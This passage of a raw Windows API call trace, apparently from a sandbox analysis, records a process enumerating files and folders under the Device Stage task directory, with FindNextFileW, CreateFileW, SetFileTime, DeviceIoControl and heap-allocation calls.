dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0091.365] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0091.365] GetLastError () returned 0x12 [0091.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354790) returned 1 [0091.366] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354898) returned 1 [0091.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.366] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="")) returned 1 [0091.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.367] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.367] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.367] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.368] NtClose (Handle=0x174) returned 0x0 [0091.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354898 [0091.369] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.371] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.371] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.371] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0091.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354790 [0091.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6a78 [0091.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355b28 [0091.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.373] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0091.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6a98 [0091.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355d38 [0091.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0091.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6ab8 [0091.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355c30 [0091.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x99c0) returned 0x132a698 [0091.377] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0091.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6ad8 [0091.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1355f48 [0091.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0091.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6af8 [0091.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356050 [0091.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.381] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0091.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6b18 [0091.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356158 [0091.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0091.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6b38 [0091.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356260 [0091.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0091.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6b58 [0091.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356368 [0091.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0091.387] GetLastError () returned 0x12 [0091.387] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.387] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.387] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356470 [0091.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.388] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.388] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.389] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.389] NtClose (Handle=0x174) returned 0x0 [0091.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1356470) returned 1 [0091.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356470 [0091.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1356578 [0091.391] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0091.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", 